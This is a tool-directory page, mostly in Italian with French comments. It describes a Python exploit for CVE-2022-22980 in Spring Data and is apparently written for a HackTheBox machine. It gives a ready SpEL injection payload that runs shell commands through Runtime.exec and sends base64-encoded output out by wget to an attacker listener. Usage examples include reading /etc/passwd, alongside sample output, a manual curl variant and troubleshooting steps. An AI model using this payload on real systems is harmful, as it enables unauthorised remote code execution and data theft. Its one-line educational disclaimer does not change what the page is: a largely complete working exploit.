Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-22980 — Sfruttamento di CVE-2022-22980 | Kitploit
Strumenti/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Generazione di PayloadExploitSfruttamento di Applicazioni WebCTFCommand and ControlApprendimento e Formazione
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Sfruttamento di CVE-2022-22980

Vedi Repository
146 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SpEL RCE Exploit - CVE-2022-22980

Exploit per l'esecuzione di codice remoto (RCE) su Spring Data tramite un'iniezione SpEL (Spring Expression Language).

Descrizioni

Vulnerabilità

La macchina espone un endpoint /search che accetta un parametro tracking_id vulnerabile all'iniezione SpEL. Questa iniezione consente l'esecuzione di espressioni Java dannose direttamente sul server.

Principio di sfruttamento

  1. Iniettare un'espressione SpEL che esegue un comando shell tramite Runtime.getRuntime().exec()
  2. Codificare l'output del comando in base64
  3. Esfiltrare il risultato tramite una richiesta HTTP GET verso un listener controllato
  4. Decodificare e visualizzare il risultato

Utilizzo

Prerequisiti

  • Python 3.x con i moduli standard (http.server, , , )
Scarica lo strumento
subprocess
threading
base64
  • curl sulla tua macchina locale
  • wget sulla macchina target (per l'esfiltrazione)
  • Una porta 80 disponibile (o modificare LPORT nello script)
  • Accesso di rete verso il target
  • Configurazione

    Modifica i parametri nello script in base al tuo ambiente:

    root@kitploit:~
    TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
    LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
    LPORT = 80                                  # Port d'écoute
    

    Esecuzione

    root@kitploit:~
    # Commande simple
    python3 spel_shell.py "whoami"
    
    # Commande avec pipe
    python3 spel_shell.py "cat /etc/passwd"
    
    # Énumération système
    python3 spel_shell.py "uname -a"
    
    # Vérifier l'accès réseau
    python3 spel_shell.py "curl -s http://httpbin.org/get"
    

    Esempio di output

    root@kitploit:~
    [*] Starting listener...
    [*] Server listening on port 80
    [*] Sending payload...
    Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
    [*] Received data: cm9vdA==
    
    [+] Command output:
    
    root
    

    Payload manuale (riferimento)

    Se vuoi testare la payload senza lo script:

    root@kitploit:~
    # Terminal 1 : Démarrer le listener
    python3 -m http.server 80
    
    # Terminal 2 : Envoyer la payload
    curl -X POST \
      -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
      http://<IP_CIBLE>:8080/search
    

    Risoluzione dei problemi

    Errore: "Address already in use"

    La porta 80 è occupata. Soluzioni:

    root@kitploit:~
    # Vérifier quel processus utilise le port
    sudo netstat -tlnp | grep :80
    
    # Arrêter Apache si actif
    sudo systemctl stop apache2
    
    # Ou utiliser un autre port
    # Modifiez LPORT dans le script et testez
    

    Nessuna risposta ("No response received")

    1. Verifica la connettività di rete: Assicurati che il target possa raggiungere il tuo LHOST:LPORT
    2. Prova con un comando semplice: python3 spel_shell.py "echo test"
    3. Verifica i permessi della porta: La porta 80 richiede sudo su Linux
    4. Verifica l'IP LHOST: Usa ifconfig (tun0 per HTB) e non 127.0.0.1

    Errore di decodifica base64

    Se vedi "Raw data received" invece di "Command output", il comando potrebbe non aver prodotto un output valido. Prova un comando che produce sempre output.

    Architettura dello script

    root@kitploit:~
    1. start_server() - Lance un serveur HTTP sur le port 80
                       ↓
    2. Envoie la payload SpEL via curl vers la cible
                       ↓
    3. La cible exécute la commande et encode le résultat en base64
                       ↓
    4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
                       ↓
    5. Le Handler reçoit la data et la stocke
                       ↓
    6. Le script décode et affiche le résultat
    

    Avviso

    Questo script è fornito a scopo educativo per le macchine HackTheBox. Usalo solo su ambienti che hai il permesso di testare.


    Autore: Eliasdekiniweek Data: Febbraio 2026
    Linguaggio: Python 3